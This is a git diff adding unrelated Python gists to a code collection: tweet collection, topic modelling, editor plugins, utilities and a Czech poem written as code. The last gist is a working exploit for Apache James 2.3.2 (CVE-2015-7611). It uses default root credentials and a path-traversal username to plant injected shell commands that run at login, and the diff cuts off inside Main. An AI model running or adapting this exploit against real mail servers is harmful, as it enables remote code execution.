+    check_call(cmd)
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/824628/._snippet.py b/hard-gists/824628/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/824628/._snippet.py differ
diff --git a/hard-gists/824628/snippet.py b/hard-gists/824628/snippet.py
new file mode 100644
index 00000000..149b8a60
--- /dev/null
+++ b/hard-gists/824628/snippet.py
@@ -0,0 +1,101 @@
+#actions to run on cron job
+from django.core.management.base import BaseCommand, CommandError
+from optparse import make_option
+from datetime import datetime
+import simplejson as json
+import urllib, urllib2, time
+from hotspot.twitterklout.models import Tweet, Tweeter, Hashtag, Event, Location
+#from django.db import models
+
+class Command(BaseCommand):
+    option_list = BaseCommand.option_list + (
+            make_option('--long', '-l', dest='long',
+                help='Help for the long options'),
+        )
+    help = 'this is an automated script (use Cron) to collect data'
+    
+    #self.can_import_settings = True
+    
+    
+    #pullDataFromTwitter
+    def handle(self, **options):
+        print 'oh hai wrld'
+        
+        events = Event
+        querySet = events.objects.all()
+        
+        for events in querySet:
+            self.pullTweets(events)
+        
+        
+        #pullDataFromTwitter(Event.objects.filter(isActive = True))
+        
+    def pullTweets(self, obj):
+        #print obj.name
+        
+        if obj.isActive() == True:
+        
+            url = 'http://search.twitter.com/search.json?q=%23' + obj.Hashtag.tag
+            print obj.name
+            
+            import twitter
+            api = twitter.Api()
+        
+            try:    
+                #req = urllib2.Request(url)
+                
+                #response = urllib2.urlopen(req)
+                #the_page = response.read() 
+                #print the_page
+                
+                #loadedJson = json.loads(the_page)
+                
+                #loadedJson = json.loads(response.read())
+                
+                results = api.GetSearch(term=obj.Hashtag.tag)
+                
+                #print results[0].text
+                
+                
+                flag = 0  
+                while (results[flag].id != obj.Hashtag.lastStatusID) and (flag !=10):
+                    print results[flag].text
+                    print results[flag].user.screen_name
+                    newTweeter = Tweeter(username=results[flag].user.screen_name)
+                    
+                    users = Tweeter
+                    userquerySet = Tweeter.objects.all()
+                    userTest = False
+                    
+                    for user in userquerySet:
+	                    if user.username == results[flag].user.screen_name:
+	                    	userTest=True
+	
+	                    if userTest == True:
+	                        newTweeter = Tweeter(username=results[flag].user.screen_name)
+	                        newTweeter.save()
+	                    
+	                    	newTweet = Tweet(content=results[flag].text, Tweeter=user)
+	                    	
+	                    	newTweet.save()
+	                    	
+	                    	break
+	                    	
+                    flag = flag + 1
+                    
+                #obj.Hashtag.lastStatusID.save(results[0].id)
+                #obj.Hashtag.lastStatusID.save()
+                
+                
+                     
+                        
+                        
+                #print self.sentiment
+            
+            except Exception, detail: 
+                print "Err ", detail 
+       
+       
+       
+    
+    
diff --git a/hard-gists/8248457/._snippet.py b/hard-gists/8248457/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8248457/._snippet.py differ
diff --git a/hard-gists/8248457/snippet.py b/hard-gists/8248457/snippet.py
new file mode 100644
index 00000000..41831966
--- /dev/null
+++ b/hard-gists/8248457/snippet.py
@@ -0,0 +1,60 @@
+""" Example using GenSim's LDA and sklearn. """
+
+import numpy as np
+
+from gensim import matutils
+from gensim.models.ldamodel import LdaModel
+from sklearn import linear_model
+from sklearn.datasets import fetch_20newsgroups
+from sklearn.feature_extraction.text import CountVectorizer
+
+
+def print_features(clf, vocab, n=10):
+    """ Print sorted list of non-zero features/weights. """
+    coef = clf.coef_[0]
+    print 'positive features: %s' % (' '.join(['%s/%.2f' % (vocab[j], coef[j]) for j in np.argsort(coef)[::-1][:n] if coef[j] > 0]))
+    print 'negative features: %s' % (' '.join(['%s/%.2f' % (vocab[j], coef[j]) for j in np.argsort(coef)[:n] if coef[j] < 0]))
+
+
+def fit_classifier(X, y, C=0.1):
+    """ Fit L1 Logistic Regression classifier. """
+    # Smaller C means fewer features selected.
+    clf = linear_model.LogisticRegression(penalty='l1', C=C)
+    clf.fit(X, y)
+    return clf
+
+
+def fit_lda(X, vocab, num_topics=5, passes=20):
+    """ Fit LDA from a scipy CSR matrix (X). """
+    print 'fitting lda...'
+    return LdaModel(matutils.Sparse2Corpus(X), num_topics=num_topics,
+                    passes=passes,
+                    id2word=dict([(i, s) for i, s in enumerate(vocab)]))
+
+
+def print_topics(lda, vocab, n=10):
+    """ Print the top words for each topic. """
+    topics = lda.show_topics(topics=-1, topn=n, formatted=False)
+    for ti, topic in enumerate(topics):
+        print 'topic %d: %s' % (ti, ' '.join('%s/%.2f' % (t[1], t[0]) for t in topic))
+
+
+if (__name__ == '__main__'):
+    # Load data.
+    rand = np.random.mtrand.RandomState(8675309)
+    cats = ['rec.sport.baseball', 'sci.crypt']
+    data = fetch_20newsgroups(subset='train',
+                              categories=cats,
+                              shuffle=True,
+                              random_state=rand)
+    vec = CountVectorizer(min_df=10, stop_words='english')
+    X = vec.fit_transform(data.data)
+    vocab = vec.get_feature_names()
+
+    # Fit classifier.
+    clf = fit_classifier(X, data.target)
+    print_features(clf, vocab)
+
+    # Fit LDA.
+    lda = fit_lda(X, vocab)
+    print_topics(lda, vocab)
\ No newline at end of file
diff --git a/hard-gists/8249238/._snippet.py b/hard-gists/8249238/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8249238/._snippet.py differ
diff --git a/hard-gists/8249238/snippet.py b/hard-gists/8249238/snippet.py
new file mode 100644
index 00000000..26de9dcd
--- /dev/null
+++ b/hard-gists/8249238/snippet.py
@@ -0,0 +1,163 @@
+# Ivaylo Kuzev <ivkuzev@gmail.com>, 2014
+# Zenburn like colorscheme for https://github.com/hut/ranger .
+
+# default colorscheme.
+# Copyright (C) 2009-2013  Roman Zimbelmann <hut@lepus.uberspace.de>
+# This software is distributed under the terms of the GNU GPL version 3.
+
+from ranger.gui.colorscheme import ColorScheme
+from ranger.gui.color import *
+
+class Zenburn(ColorScheme):
+    progress_bar_color = 108
+
+    def use(self, context):
+        fg, bg, attr = default_colors
+
+        if context.reset:
+            return default_colors
+
+        elif context.in_browser:
+            if context.selected:
+                attr = reverse
+            else:
+                attr = normal
+            if context.empty or context.error:
+                fg = 174
+                bg = 235
+            if context.border:
+                fg = 248
+            if context.image:
+                fg = 109
+            if context.video:
+                fg = 66
+            if context.audio:
+                fg = 116
+            if context.document:
+                fg = 151
+            if context.container:
+                attr |= bold
+                fg = 174
+            if context.directory:
+                attr |= bold
+                fg = 223
+            elif context.executable and not \
+                    any((context.media, context.container,
+                       context.fifo, context.socket)):
+                attr |= bold
+                fg = 108
+            if context.socket:
+                fg = 180
+                attr |= bold
+            if context.fifo or context.device:
+                fg = 144
+                if context.device:
+                    attr |= bold
+            if context.link:
+                fg = context.good and 223 or 116
+                bg = 234
+            if context.bad:
+                bg = 235
+            if context.tag_marker and not context.selected:
+                attr |= bold
+                if fg in (174, 95):
+                    fg = 248
+                else:
+                    fg = 174
+            if not context.selected and (context.cut or context.copied):
+                fg = 108
+                bg = 234
+            if context.main_column:
+                if context.selected:
+                    attr |= bold
+                if context.marked:
+                    attr |= bold
+                    fg = 223
+            if context.badinfo:
+                if attr & reverse:
+                    bg = 95
+                else:
+                    fg = 95
+
+        elif context.in_titlebar:
+            attr |= bold
+            if context.hostname:
+                fg = context.bad and 174 or 180
+            elif context.directory:
+                fg = 223
+            elif context.tab:
+                if context.good:
+                    bg = 180
+            elif context.link:
+                fg = 116
+
+        elif context.in_statusbar:
+            if context.permissions:
+                if context.good:
+                    fg = 108
+                elif context.bad:
+                    fg = 174
+            if context.marked:
+                attr |= bold | reverse
+                fg = 223
+            if context.message:
+                if context.bad:
+                    attr |= bold
+                    fg = 174
+            if context.loaded:
+                bg = self.progress_bar_color
+            if context.vcsinfo:
+                fg = 116
+                attr &= ~bold
+            if context.vcscommit:
+                fg = 144
+                attr &= ~bold
+
+
+        if context.text:
+            if context.highlight:
+                attr |= reverse
+
+        if context.in_taskview:
+            if context.title:
+                fg = 116
+
+            if context.selected:
+                attr |= reverse
+
+            if context.loaded:
+                if context.selected:
+                    fg = self.progress_bar_color
+                else:
+                    bg = self.progress_bar_color
+
+
+        if context.vcsfile and not context.selected:
+            attr &= ~bold
+            if context.vcsconflict:
+                fg = 95
+            elif context.vcschanged:
+                fg = 174
+            elif context.vcsunknown:
+                fg = 174
+            elif context.vcsstaged:
+                fg = 108
+            elif context.vcssync:
+                fg = 108
+            elif context.vcsignored:
+                fg = default
+
+        elif context.vcsremote and not context.selected:
+            attr &= ~bold
+            if context.vcssync:
+                fg = 108
+            elif context.vcsbehind:
+                fg = 174
+            elif context.vcsahead:
+                fg = 116
+            elif context.vcsdiverged:
+                fg = 95
+            elif context.vcsunknown:
+                fg = 174
+
+        return fg, bg, attr
diff --git a/hard-gists/8249328/._snippet.py b/hard-gists/8249328/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8249328/._snippet.py differ
diff --git a/hard-gists/8249328/snippet.py b/hard-gists/8249328/snippet.py
new file mode 100644
index 00000000..59bf8215
--- /dev/null
+++ b/hard-gists/8249328/snippet.py
@@ -0,0 +1,30 @@
+from scrapy.spider import BaseSpider
+from scrapy.conf import settings
+from scrapy.http import Request
+from random import choice
+
+
+class DoubleIPSpider(BaseSpider):
+    name = "double_ip_test"
+    allowed_domains = ["httpbin.org"]
+
+    def start_requests(self):
+        yield self.make_requests_from_url("http://httpbin.org/ip")
+        yield self.make_requests_from_url("http://httpbin.org/ip")
+        yield self.make_requests_from_url("http://httpbin.org/ip")
+        yield self.make_requests_from_url("http://httpbin.org/ip")
+        yield self.make_requests_from_url("http://httpbin.org/ip")
+
+    def make_requests_from_url(self, url):
+        if settings.get("BIND_TO_IP"):
+            ip = choice(settings["BIND_TO_IP"])
+            print(ip)
+            return Request(url, dont_filter=True,
+                           meta={'bindaddress': (
+                                 ip,
+                                 0)})
+        else:
+            return super(DoubleIPSpider, self).make_requests_from_url(url)
+
+    def parse(self, response):
+       print(response.body)
diff --git a/hard-gists/825970/._snippet.py b/hard-gists/825970/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/825970/._snippet.py differ
diff --git a/hard-gists/825970/snippet.py b/hard-gists/825970/snippet.py
new file mode 100644
index 00000000..ec665c83
--- /dev/null
+++ b/hard-gists/825970/snippet.py
@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#
+# @author:      starenka
+# @email:       'moc]tod[liamg].T.E[0aknerats'[::-1]
+# @version:     1.0
+# @since        2/14/11
+# @depends      DJC
+
+import random, time, sys, datetime
+from scenes import Zalozna,Venku
+from animals import Dog
+from persons import *
+from sprites import *
+
+Zalozna.spawn(SlecnaTicha())
+while SlecnaTicha.count_notes():
+    if random.randint(1, 10) == 8:
+        DrobnyMuzikSTaskou = Man(name='Maralík',
+                                size='XS',
+                                disguise=True,
+                                sneak=True,
+                                inventory={'taška':[]}
+                                )
+        Zalozna.spawn(DrobnyMuzikSTaskou)
+        break
+
+DrobnyMuzikSTaskou.say(SlecnaTicha,'Ruce vzhůru, sice střelím !')
+DrobnyMuzikSTaskou.inventory['taška'].append('celý lup')
+DrobnyMuzikSTaskou.disappear()
+Venku.spawn(DrobnyMuzikSTaskou)
+del(Zalozna.DrobnyMuzikSTaskou)
+
+time.sleep(0)
+Zalozna.spawn(Trachta(experience=float('infinity')))
+repr(Trachta)
+Trachta.say(SlecnaTicha,
+            'Žádné strachy, slečno Tichá.'.join(['','Však my si ho najdeme','My mu tipec zatneme.']))
+SlecnaTicha.worry(False)
+
+for b in [0,random.choice((2,3))]: Trachta.whistle.blow()
+Doubrava = Dog(sex='fenka',name='Doubrava')
+Zalozna.spawn(Doubrava)
+Doubrava.sniff().sniff()
+repr(Doubrava)
+
+for i in [Trachta,Doubrava,SlecnaTicha]:
+    Venku.spawn(i)
+    del(Zalozna.i)
+
+Venku.spawn([Blato(),Strom()])
+Trachta.say(Doubrava,'Čile za ním!')
+Doubrava.ignore().procrastinate()
+
+chlapci = []
+for m in range(0,6):
+    chlapec = Man(name='Chlapec #%d'%m)
+    chlapci.append(chlapec)
+    Venku.spawn(chlapec)
+
+Trachta.say(chlapci,'Sekeru a pilu, chlapci. Nestůjte tu nečinně.')
+time.sleep(.5)
+Trachta.say(chlapci,'Lupič zřejmě přichystal si úkryt v stromu dutině.')
+
+while chlapci.cut(Strom,chainsaw=False):
+    if random.randint(1, 10) == 4:
+        DrobnyMuzikSTaskou.say(Trachta,
+                               'Dostal jste mě inspektore ! Sedím přímo nad vámi !',
+                               shout=True,dramatic=True,fear=.8)
+        break
+
+Venku.rotate()
+if Strom.branches[-1].get_content() == DrobnyMuzikSTaskou:
+    Trachta.say(DrobnyMuzikSTaskou,'odpykáš')
+    Trachta.arrest(DrobnyMuzikSTaskou,inform_rights=False)
+    Trachta.praise(Doubrava)
+    SlecnaTicha.bpm(72)
+    Doubrava.jump(.6)
+    DrobnyMuzikSTaskou.disappear(datetime.timedelta(years=4))
+    print sys.modules[__name__]
+
+
+'''
+Slečna Tichá za přepážkou bankovky si počítá.
+Náhle drobný mužík s taškou v záložně se ocitá.
+
+Nenápadný v overalu, v očích ale rysí svit.
+Krokem šelmy měří halu, může to jen lupič být.
+
+"Ruce vzhůru, sice střelím !" Jde to jako na drátkách.
+Již má v tašce lup svůj celý a již mizí ve vrátkách.
+
+"Hleďme Trachtu, detektiva !" Na místě je coby dup.
+Moudrou hlavou moudře kývá. Je to starý, ostřílený, policejní sup !
+
+"Žádné strachy, slečno tichá. Však my si ho najdeme.
+Žádné strachy, slečno tichá. My mu tipec zatneme."
+
+Dva, tři hvizdy na píšťalku, je zde fenka Doubrava.
+Podívejme na čmuchalku. Pach stopy již nasává.
+
+Dopadla už jinčí ptáčky. Vlastní řadu diplomů.
+Však co to: Hned u zatáčky čichá fena ke stromu.
+
+"Čile za ním", velí Trachta. Ale zvíře nevnímá.
+Kolem stromu v blátě čvachtá, povelů si nevšímá.
+
+"Sekeru a pilu, chlapci. Nestůjte tu nečinně.
+Lupič zřejmě přichystal si úkryt v stromu dutině."
+
+Řežou dubu tělo sporé. Náhle slyšet volání:
+"Dostal jste mě inspektore ! Sedím přímo nad vámi !"
+
+Na větvi byl, lišák jeden ! Nu ten si to odpyká.
+Důmyslem a psem svým veden již ho Trachta zatýká.
+
+Slečna Tichá štěstím vzkvétá, veselo skáče chytrý psík.
+Lupič dostal čtyři léta. Jmenoval se Maralík.
+'''
\ No newline at end of file
diff --git a/hard-gists/826218/._snippet.py b/hard-gists/826218/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/826218/._snippet.py differ
diff --git a/hard-gists/826218/snippet.py b/hard-gists/826218/snippet.py
new file mode 100644
index 00000000..a8676001
--- /dev/null
+++ b/hard-gists/826218/snippet.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python
+"""
+Add php-serve.py to your PATH, then, from whatever directory is the root
+of your PHP application, just run:
+
+    $ php-serve.py
+
+You can optionally specify a port number as an argument. By default,
+port 8000 is used:
+
+    $ php-serve.py 8000
+
+php-serve.py uses wphp and so has the same restrictions, including no
+current support for mod_rewrite. Other than that, it mostly works.
+
+"""
+import os
+import sys
+
+from paste import httpserver
+from wphp import PHPApp
+
+
+application = PHPApp(os.getcwd())
+
+if len(sys.argv) > 1:
+    port = sys.argv[1]
+else:
+    port = 8000
+
+try:
+    httpserver.serve(application, host='0.0.0.0', port=port,
+                     daemon_threads=True)
+except KeyboardInterrupt:
+    application.close()
\ No newline at end of file
diff --git a/hard-gists/8263132/._snippet.py b/hard-gists/8263132/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8263132/._snippet.py differ
diff --git a/hard-gists/8263132/snippet.py b/hard-gists/8263132/snippet.py
new file mode 100644
index 00000000..079eca16
--- /dev/null
+++ b/hard-gists/8263132/snippet.py
@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+
+"""Convert UnstructuredGrid in .vtk files to STL files."""
+
+import sys
+import vtk
+
+if len(sys.argv) < 2 or sys.argv[1] == '-h' or sys.argv[1] == '--help':
+    print('Usage: vtk-unstructuredgrid-to-stl.py <input.vtk> <output.stl>')
+    sys.exit(1)
+
+reader = vtk.vtkUnstructuredGridReader()
+reader.SetFileName(sys.argv[1])
+
+surface_filter = vtk.vtkDataSetSurfaceFilter()
+surface_filter.SetInputConnection(reader.GetOutputPort())
+
+triangle_filter = vtk.vtkTriangleFilter()
+triangle_filter.SetInputConnection(surface_filter.GetOutputPort())
+
+writer = vtk.vtkSTLWriter()
+writer.SetFileName(sys.argv[2])
+writer.SetInputConnection(triangle_filter.GetOutputPort())
+writer.Write()
diff --git a/hard-gists/827988/._snippet.py b/hard-gists/827988/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/827988/._snippet.py differ
diff --git a/hard-gists/827988/snippet.py b/hard-gists/827988/snippet.py
new file mode 100644
index 00000000..5d5df126
--- /dev/null
+++ b/hard-gists/827988/snippet.py
@@ -0,0 +1,79 @@
+from django.template.defaultfilters import slugify
+class AutoSlugMixin(object):
+    """
+    Automatically set slug to slugified version of the name if left empty.
+    Use this as follows::
+
+        class MyModel(AutoSlugMixin, models.Model):
+            def save(self):
+                super(MyModel, self).save()
+
+                self.update_slug()
+
+    The name of the slug field and the field to populate from can be set
+    using the `_slug_from` and `_slug_field` properties.
+
+    The big advantage of this method of setting slugs over others
+    (ie. django-autoslug) is that we can set the value of slugs
+    automatically based on the value of a field of an a field with a foreign
+    key relation. For example::
+
+        class MyModel(AutoSlugMixin, models.Model):
+            slug = models.SlugField()
+
+            def generate_slug(self):
+                qs = self.mymodeltranslation_set.all()[:1]
+                if qs.exists():
+                    return qs[0].name
+                else:
+                    return ''
+
+        class MyModelTranslation(models.Model):
+            parent = models.ForeignKey(MyModel)
+            name = models.CharField()
+
+            def save(self):
+                super(MyModel, self).save()
+
+                self.parent.update_slug()
+
+        (The code above is untested and _might_ be buggy.)
+
+    """
+    _slug_from = 'name'
+    _slug_field = 'slug'
+
+    def slugify(self, name):
+        return slugify(name)
+
+    def generate_slug(self):
+        name = getattr(self, self._slug_from)
+        return self.slugify(name)
+
+    def update_slug(self, commit=True):
+        if not getattr(self, self._slug_field) and \
+               getattr(self, self._slug_from):
+            setattr(self, self._slug_field, self.generate_slug())
+
+            if commit:
+                self.save()
+
+
+class AutoUniqueSlugMixin(AutoSlugMixin):
+    """ Make sure that the generated slug is unique. """
+
+    def is_unique_slug(self, slug):
+        qs = self.__class__.objects.filter(**{self._slug_field: slug})
+        return not qs.exists()
+
+    def generate_slug(self):
+        original_slug = super(AutoUniqueSlugMixin, self).generate_slug()
+        slug = original_slug
+
+        iteration = 1
+        while not self.is_unique_slug(slug):
+            slug = "%s-%d" % (original_slug, iteration)
+            iteration += 1
+
+        return slug
+
diff --git a/hard-gists/828099/._snippet.py b/hard-gists/828099/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/828099/._snippet.py differ
diff --git a/hard-gists/828099/snippet.py b/hard-gists/828099/snippet.py
new file mode 100644
index 00000000..cb707428
--- /dev/null
+++ b/hard-gists/828099/snippet.py
@@ -0,0 +1,27 @@
+import scipy as S
+
+def coo_submatrix_pull(matr, rows, cols):
+    """
+    Pulls out an arbitrary i.e. non-contiguous submatrix out of
+    a sparse.coo_matrix. 
+    """
+    if type(matr) != S.sparse.coo_matrix:
+        raise TypeError('Matrix must be sparse COOrdinate format')
+    
+    gr = -1 * N.ones(matr.shape[0])
+    gc = -1 * N.ones(matr.shape[1])
+    
+    lr = len(rows)
+    lc = len(cols)
+    
+    ar = N.arange(0, lr)
+    ac = N.arange(0, lc)
+    gr[rows[ar]] = ar
+    gc[cols[ac]] = ac
+    mrow = matr.row
+    mcol = matr.col
+    newelem = (gr[mrow] > -1) & (gc[mcol] > -1)
+    newrows = mrow[newelem]
+    newcols = mcol[newelem]
+    return S.sparse.coo_matrix((matr.data[newelem], N.array([gr[newrows],
+        gc[newcols]])),(lr, lc))
diff --git a/hard-gists/8285428/._snippet.py b/hard-gists/8285428/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8285428/._snippet.py differ
diff --git a/hard-gists/8285428/Dockerfile-llm-3.8 b/hard-gists/8285428/Dockerfile-llm-3.8
new file mode 100644
index 00000000..0d81d97f
--- /dev/null
+++ b/hard-gists/8285428/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","scene==0.0.1"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/8285428/modules/scene_3.8.txt b/hard-gists/8285428/modules/scene_3.8.txt
new file mode 100644
index 00000000..8a9ecc2e
--- /dev/null
+++ b/hard-gists/8285428/modules/scene_3.8.txt
@@ -0,0 +1 @@
+0.0.1
\ No newline at end of file
diff --git a/hard-gists/8285428/snippet.py b/hard-gists/8285428/snippet.py
new file mode 100644
index 00000000..54302000
--- /dev/null
+++ b/hard-gists/8285428/snippet.py
@@ -0,0 +1,36 @@
+from scene import *
+from random import random
+ 
+class MyScene (Scene):
+	def setup(self):
+		# This will be called before the first frame is drawn.
+		# Set up the root layer and one other layer:
+		self.root_layer = Layer(self.bounds)
+		center = self.bounds.center()
+		self.layer = Layer(Rect(center.x - 64, center.y - 64, 128, 128))
+		self.layer.background = Color(0, 0, 0)
+		self.layer.image = 'Smiling_2'
+		self.root_layer.add_layer(self.layer)
+	
+	def draw(self):
+		# Update and draw our root layer. For a layer-based scene, this
+		# is usually all you have to do in the draw method.
+		background(0, 0, 0)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	
+	def touch_began(self, touch):
+		# Animate the layer to the location of the touch:
+		x, y = touch.location.x, touch.location.y
+		new_frame = Rect(x - 64, y - 64, 128, 128)
+		self.layer.animate('frame', new_frame, 1.0, curve=curve_bounce_out)
+		# 
+		self.layer.image = 'Smiling_6'
+	
+	def touch_moved(self, touch):
+		pass
+	
+	def touch_ended(self, touch):
+		self.layer.image = 'Smiling_2'
+ 
+run(MyScene())
\ No newline at end of file
diff --git a/hard-gists/8289612/._snippet.py b/hard-gists/8289612/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8289612/._snippet.py differ
diff --git a/hard-gists/8289612/snippet.py b/hard-gists/8289612/snippet.py
new file mode 100644
index 00000000..2f463d62
--- /dev/null
+++ b/hard-gists/8289612/snippet.py
@@ -0,0 +1,88 @@
+import sublime, sublime_plugin
+import sys,os,re
+#script should go in Pacakges/FSharpAutocomplete/FSharpAutocomplete.py
+#pexpect should go in Packages/FSharpAutocomplete/lib
+#to make it load 'everything' from the lib folder.
+def installpath(path):
+	if path not in sys.path:
+		sys.path.insert(0, path)
+
+__file__ = os.path.normpath(os.path.abspath(__file__))
+__path__ = os.path.dirname(__file__)
+lib_path = os.path.join(__path__, 'lib')
+
+installpath(lib_path)
+#Now do the import
+import pexpect #3.0b1 for Python>3.2 from https://github.com/pexpect/pexpect/releases/tag/3.0b1
+#An object wrapping the pexepct calls to 'mono fsautocomplete.exe'
+class AutocompleteService():
+  #from https://github.com/fsharp/fsharpbinding
+  #I am not sure where this should 'go' maybe in the lib folder as above?
+	prog = "<WHERE YOU PUT IT>/fsharp-lib/fsharpbinding-master/FSharp.AutoComplete/bin/Debug/fsautocomplete.exe"
+	service = pexpect.spawn("mono " + prog)#create the process when you create the object
+	service.setecho(False)#so what we send is not printed
+
+	def read_from_service(self):
+		response = self.service.expect(['<<EOF>>'])
+		return self.service.before.strip().decode("UTF-8")
+	
+	def get_service_data(self):
+		data = self.read_from_service()
+		match = re.match(".+?([A-Z]+:.+)",data,re.DOTALL)
+		if match: 
+			return match.group(1)
+		return data
+
+	def sendrequest(self,request):
+		self.service.sendline(request)
+		return self.get_service_data()
+
+	def sendrequest_dontwait(self,request):
+		self.service.sendline(request)
+
+	def sendfile(self,path):
+		#using strip because of trailing lines
+		for line in open(path,'r'): self.service.sendline(line.strip('\n'))
+		self.service.sendline('<<EOF>>')                         
+		return self.get_service_data()
+
+	def terminate(self):
+		self.service.terminate(force=True)
+
+acs = AutocompleteService()#create the object
+
+#---------------------------------------------
+
+def isFsharp(filename):#simple check could be a lot smarter I imagine
+	if filename:
+		return '.fs' in filename or '.fsx' in filename
+	return False
+
+#send the file for parsing, don't wait for it to complete.
+def parsefile(filename):
+	acs.sendrequest_dontwait('parse "'+filename+'"')
+	result = acs.sendfile(filename)
+
+def prepcomp(item):
+	return (item+"\tFSharp Autocomplete",item)
+
+#when the file is parsed, this can be called to get the completions list
+def getcompletions(filename,rowcol):
+	result = acs.sendrequest('completion "'+filename+'" '+str(rowcol[0])+' '+str(rowcol[1]))
+	if 'INFO:' not in result and 'ERROR:' not in result:
+		lines = result.split('\r\n')
+		comps = list(list(map(prepcomp,lines))[1:])
+		return comps
+	else: print(result)
+	return 0
+	
+#Listen for the actual events
+class FSharpAutocomplete(sublime_plugin.EventListener):
+	def on_query_completions(self, view, prefix, locations):
+		if isFsharp(view.file_name()): 
+			return getcompletions(view.file_name(),view.rowcol(locations[0]))
+		else: return 0#do nothing
+	def on_load(self,view):
+		if isFsharp(view.file_name()): parsefile(view.file_name())
+	def on_post_save(self,view):
+		if isFsharp(view.file_name()): parsefile(view.file_name())
diff --git a/hard-gists/82d3bb091d45b59c1d7674727b1292a7/._snippet.py b/hard-gists/82d3bb091d45b59c1d7674727b1292a7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/82d3bb091d45b59c1d7674727b1292a7/._snippet.py differ
diff --git a/hard-gists/82d3bb091d45b59c1d7674727b1292a7/snippet.py b/hard-gists/82d3bb091d45b59c1d7674727b1292a7/snippet.py
new file mode 100644
index 00000000..aad5d82b
--- /dev/null
+++ b/hard-gists/82d3bb091d45b59c1d7674727b1292a7/snippet.py
@@ -0,0 +1,147 @@
+"""An exploit for Apache James 2.3.2 that executes remote commands.
+
+This script creates a new user and enqueues a payload to be executed the next
+time a user logs in to the machine. The vulnerability is documented in
+CVE-2015-7611.
+
+For more details, see http://www.securityfocus.com/bid/76933 and
+https://www.exploit-db.com/exploits/35513/.
+"""
+
+import gflags
+import logging
+import socket
+import sys
+
+gflags.DEFINE_integer('admin_port', 4555, 'The administration tool port.')
+gflags.DEFINE_integer('smtp_port', 25, 'The SMTP server port.')
+gflags.DEFINE_string('admin_password', 'root', 'The administrator password.')
+gflags.DEFINE_string('admin_user', 'root', 'The administrator username.')
+gflags.DEFINE_string('command', '', 'The command to be executed.')
+gflags.DEFINE_string('exploit_password', 'exploit',
+                     'The exploited user\'s password.')
+gflags.DEFINE_string('exploit_user', '../../../../../../../../etc/bash_completion.d',
+                     'The exploited user\'s username.')
+gflags.DEFINE_string('host', '127.0.0.1', 'The Apache James server host.')
+gflags.DEFINE_string('loglevel', 'INFO', 'The log level.')
+gflags.DEFINE_string('sender_email', 'user@domain', 'The sender\'s email address.')
+
+FLAGS = gflags.FLAGS
+
+# The number of bytes to receive from the admin and SMTP servers after each
+# command.
+RECV_BUFSIZE = 1024
+
+
+def CreateNewSmtpUser(connection, user, password):
+    """Creates a new SMTP user via the administration server.
+
+    Args:
+      connection: An open socket to the administration server.
+      user: The user's username.
+      password: The user's password.
+    """
+    payload = ['adduser %s %s' % (user, password), 'quit']
+    SendPayload(connection, payload)
+    logging.info('Created new user %s/%s' % (user, password))
+
+
+def ConnectToAdminServer(host, port, user, password):
+    """Connects to the administration server.
+
+    Args:
+      host: The host address of the machine.
+      port: The port number of the administration server.
+      user: The administration server username.
+      password: The administration server password.
+
+    Returns:
+      An open socket to the administration server.
+    """
+    payload = [user, password]
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host, port))
+    s.recv(RECV_BUFSIZE)
+    SendPayload(s, payload)
+    logging.info('Connected to the admin console as %s/%s.' % (user, password))
+    return s
+
+
+def ConnectToSmtpServer(host, port):
+    """Connects to the SMTP server.
+
+    Args:
+      host: The host address of the machine.
+      port: The port number of the administration server.
+
+    Returns:
+      An open socket to the SMTP server.
+    """
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((host, port))
+    s.recv(RECV_BUFSIZE)
+    logging.info('Connected to the SMTP server.')
+    return s
+
+
+def SendPayload(connection, payload):
+    """Sends a payload over the socket.
+
+    Args:
+      connection: An open socket.
+      payload: An array of strings to be sent over the socket.
+    """
+    for line in payload:
+        connection.send('%s\n' % line)
+        connection.recv(RECV_BUFSIZE)
+
+
+def SendCommand(connection, sender, recipient, command):
+    """Sends a command as a mail message to the recipient.
+
+    Args:
+      connection: An open connection to the SMTP server.
+      sender: The sender's email address.
+      recipient: The recipient's email address.
+      command: The command to be executed.
+    """
+    msg = ('From: %s\n'
+           '\n'
+           '\''
+           '\n'
+           '$(%s)\r\n'
+           '.' % (sender, command))
+    payload = ['EHLO %s\r' % sender,
+               'MAIL FROM: <\'%s>\r' % sender,
+               'RCPT TO: <%s>\r' % recipient,
+               'DATA\r',
+               '%s\r' % msg,
+               'QUIT\r']
+    SendPayload(connection, payload)
+    logging.info('Sent command %s' % command)
+
+
+def Main(argv):
+    try:
+        argv = FLAGS(argv)
+    except gflags.FlagsError, e:
+        print '%s\nUsage: %s ARGS\n%s' % (e, sys.argv[0], FLAGS)
+        sys.exit(-1)
+
+    logging.basicConfig(level=FLAGS.loglevel)
+
+    # Create a vulnerable user.
